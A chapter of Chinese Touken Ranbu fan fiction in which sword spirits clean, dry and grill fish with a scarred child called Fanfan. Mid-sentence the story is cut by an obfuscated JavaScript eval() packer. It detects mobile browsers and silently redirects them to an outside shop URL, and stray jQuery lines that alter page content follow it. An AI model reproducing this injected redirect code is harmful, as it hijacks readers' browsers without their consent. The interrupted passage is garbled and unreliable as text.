饭饭蹲在溪边看着五虎退剖鱼,他也想插手,但被制止了。

    烛台切光忠把那两条大鱼剖开以后用筷子撑开,挂在回廊下晾起来,其余的小鱼则交给五虎退。

    他要去料理那些不大不小的鱼,腌制以后才能用来烤。

    五虎退仔仔细细地用小刀划开小鱼的肚子,去除内脏以后从中间切断脊骨铺平,这样可以更方便晒干……他本来觉得这种处理食材的画面有些血腥,但小孩似乎毫不抵触。

    “退哥,放这里!”饭饭热情地把笸箩转了一圈,将还没有摆上小鱼的部分转到五虎退面前。

    五虎退默默把处理好的小鱼在水盆里洗掉残余的血水和鳞片,摆了上去。

    不但不抵触,甚至有点跃跃欲试。

    一条一条的小鱼与两条大鱼都被处理成平摊开的鱼片,鱼身上固定用的木签被棉线连接着,一串串挂在回廊下随风摇摆。

    “要多久才能晒干呀?”饭饭问。

    五虎退把木盆挨个在水里洗干净,闻言想了想说,“嗯……可以去问问烛台切先生?”

    “好!”小孩兴高采烈。

    等五虎退反应过来,眼前已经没了孩子的踪影。

    烛台切光忠将腌制好的鱼一条条穿在木签上——这些木签是一期一振刚削的。

    把穿好的鱼摆放在盘子里,门边传来响动,他回过头就看见了一个矮矮的小家伙,哒哒跑到他跟前,扯了扯他的衣摆。

    “呃——烛台切先生?”饭饭仰着头看他,学着五虎退的措辞,“鱼干要晒多久啊?”

    随着他的动作,额发散开些许,也让烛台切光忠看清了小孩左脸的疤痕。

    “烛台切先生?叔叔?”饭饭不依不饶地喊。

    “……啊。”烛台切光忠回过神,“最近天气很好,小鱼的话……大概3-5天吧,大鱼需要10天左右,如果接下来的几天都是晴天的话。”

    “晴天……”饭饭念叨了两句便把时间抛到脑后,扒着灶台边缘踮起脚尖去看盘子里穿的鱼,“鱼可以烤了吗?”

    “可以了,但是……”烛台切光忠道,很有先见之明地端起盘子,让小孩伸出的爪子落了空,“让一期或者退过来拿,还有火石。”

    饭饭有些不服气,跳着去够他手里端的盘子,“给我就可以……”

    “不可以。”烛台切光忠把盘子又举高了些。

    这下小孩彻底够不着了,努力半天一无所获,只好嘟囔着出门去找人。

    烛台切光忠重新把盘子放在灶台上,将腌鱼的盆里剩下的野葱和梅碎控去水分后铺在鱼表面上。

    一起烤会更加美味一些。

    端着洗干净的一叠木盆从庭院回来的五虎退被小孩拽着衣角一路拖到厨房,对烛台切光忠歉意地笑笑,“那个……烛台切先生,饭饭想要烤鱼。”

    将木盆摆到厨房角落以后,五虎退成功拿到了小孩心心念念的装着鱼的盘子。

    “退哥有打火机吗?”饭饭凑在五虎退身旁说悄悄话,目光时不时瞥一眼正打扫厨房的太刀青年。

    “打火机?”五虎退疑惑了一下,“……是说打火石吗?烛台切先生那里应该有……”

    饭饭的目光又重新落了回去,但还没等他张嘴讨要,烛台切光忠开口,“让一期来拿。”

    饭饭不服气,“退哥已经在……”

    “让一期来拿。”烛台切光忠八风不动。

    小孩看看他,又看看无奈点头的五虎退,吧嗒吧嗒往外走,嘟囔的声音更大了些。

    “抱歉,烛台切先生……”五虎退看着小孩的背影,有点不好意思,“饭饭他有点不懂事……”

    “没关系。”烛台切光忠笑笑,手里捏着两块打火石晃了晃,“让一期用完以后还给我,另外你们在庭院里用明火的话,必须要用水灭火。”

    “嗯!”五虎退认真点头,“我记住了。”

    不多时,一期一振便被小孩带来了。

    饭饭很骄傲,“现在可以把火给我了!”

    烛台切光忠看看他,忍着笑把两枚打火石放进了一期一振手里,同时用小孩完全可以听到的声音说,“用完还我,别让孩子碰这个。”

    一期一振点点头,然后果真把火石攥在掌心,任由饭饭怎么抠他手指都不让拿走。

    小孩气得直跺脚。

    但小孩子的气来得快,去得也快。

    饭饭很快就哄好了自己,一溜烟出门去庭院里扒拉枯叶和树枝了。

    一期一振和烛台切光忠聊完了烤鱼加工的细节后出门时,便看见院子里被用鹅卵石堆了一个圆圈,圈里圈外各堆了一堆枯枝落叶。

    饭饭抱着一捧落叶和小树枝从庭院拐角走回来,将它们堆在一起,满意地拍了拍手,欣赏自己的劳动成果。

    一期一振盯着小孩身上下午刚换的衬衫和同样已经一层黑灰的绷带,额角跳了跳。

    ……怎么办,他又有点想揍孩子了。

    刚换的白衬衫和新绷带。

    默念三遍修身养性,再提醒了自己好几次面前的熊孩子是他们的审神者,一期一振才勉强平心静气走过去。

    小孩看见他们,眼睛一亮便开始邀功。

    “哥哥!退哥!”饭饭骄傲地挺起胸脯,“我捡了好多柴!可以烧好久!”

    两人看看那一堆易燃物,对视一眼。

    这点东西……还不够烧二十分钟,可能只够给鱼造成点皮外伤。

    但五虎退仍然真心地夸赞,“饭饭真厉害!”

    一期一振就夸得有点违心了,他看着小孩灰扑扑的衬衫,“……嗯,很棒。”

    他今天晚上又要加班洗衣服。

    两枚打火石相互碰撞发出咔哒咔哒的响声,饭饭被五虎退拉着在旁边看,以防他凑得太近被火烧到。

    引火物用了一小堆堆在一起的枯叶,以及前一天换下来的一截干燥绷带,这种结构疏松的纯棉织物很容易燃烧。

    咔咔声中几粒火星落到绷带上,一期一振停下动作等待,等到火星一点一点燎燃了绷带上的棉絮,轻轻吹一口气,小小的火苗便窜了起来。

    再拿上几片枯叶盖在火苗上方但不压住,有助燃物和流动的空气,很快火势便旺盛了。

    一期一振这才松了口气,把两枚火石递向五虎退,“还给烛台切吧,这边我来看着。”

    他实在不放心弟弟和熊孩子一起待在这里看着火,所以最好的方案就是他来负责看孩子,五虎退回去还火石。

    饭饭捡起枯叶一片一片往火上放,点燃便松开手去拿下一片,逐渐的,放的就从树叶变成了小树枝,火势也从迅疾变得稍微稳定了些。

    一期一振看着他的动作,有些怪异感油然而生,他忍不住问,“饭饭以前烧过火吗?”

    “嗯!”小孩用

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17612333|205984||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    力点头,“每天都要点火!”

    一期一振皱了皱眉。

    看着小孩熟练的动作,视线触及他烫伤严重的左脸,一期一振忍不住猜测是不是就是因为爱玩火才会这样……但即使是这样,这孩子的监护人呢?

    这种太小的孩子,都该有监护人才对,本来就不是该懂事的年龄,但只是想想,他并没有把疑问问出口。

    饭饭把火势维持得很好,一期一振便按照烛台切光忠教的方法,把穿好的鱼一条一条插在火堆旁边,借助温度去烤它们。

    不能使用明火,很容易让鱼烤焦,并且也容易烧断木签,放在旁边就是前人探索出的相对合适的方案。

    过了不久,五虎退也回来了,同样拿了一些木柴,但是是从厨房拿的,更粗的劈开的木头。

    将木头架在火上让火舌去舔舐它们,五虎退问饭饭,“要不要再捡一些叶子来?”

    小孩懂事地起身去捡树枝和枯叶,一期一振把火边插着的鱼翻了一轮。

    剖开的鱼上沾着些黑色的梅碎和绿色的野葱碎,此刻因为温度升高,鱼身发出滋滋的响声,冒起细密的白色小泡泡,这代表水分正在蒸发。

    饭饭走回来的时候便闻到了香味,小心翼翼把抱着的小树枝和枯草叶片都堆在旁边,他蹲回了自己的位置上,眼睛紧盯着火边的小鱼。

    总共有七条鱼,被劈开以后有了双倍的表面积,于是每一条都有成年人的三根手指的宽度以上,不算太小。

    一期一振烤着鱼,五虎退则帮忙检查火势,没了工作的小孩蹲在地上捡了一根树枝画小鱼。

    画一条,两条,三条,画一条他就抬头看看两人,然后接着画鱼。

    五虎退被看第三次的时候,终于忍不住了,“……饭饭,为什么一直看我们?”

    饭饭又看了看他,“嗯……”

    五虎退歪了歪头。

    “嗯——”饭饭继续犹豫。

    五虎退看看他面前的图案,又看看面前的鱼,有了个大胆的想法,“饭饭是不是在算这些鱼够吃几天?”

    但小孩这次回得很快,他果断地摇摇头,“不是。”

    “那是什么?”五虎退问。

    饭饭纠结了一会儿,才吞吞吐吐说,“哥哥可以吃两条鱼,退哥可以吃两条鱼,我可以吃两……呃,三条……两条鱼?”

    “是三条吧,这里总共有七条鱼。”五虎退说。

    但小孩的表情仍然纠结,小木棍在地上画了又画。

    旁边一直围观的一期一振开口,“他应该是在犹豫要不要把鱼分给烛台切。”

    被戳破心思的小孩有些不自在,伸脚擦掉了沙子上的画,捏着小树枝望天。

    他才没有想把鱼分给不给他打火石的叔叔呢。

    五虎退忍不住笑了,他把手擦了擦,摸摸小孩头顶夸道,“饭饭是好孩子,会考虑其他人呢。”

    一期一振盯着他用来擦手的衣服下摆,眉心再次一跳。

    很好,他今天晚上需要加班洗两套衣服了。

    弟弟学坏竟然这么快。

    饭饭被夸得有点不自在,因为他刚刚是真的在纠结自己要不要一个人吃三条鱼,但已经被夸了的话……还是分给那个有点讨厌的大人一条吧。

    小孩又纠结了起来,分一条鱼出去可以被夸的话……上次给他吃糖的三日月宗近,是不是也该分一条鱼呢?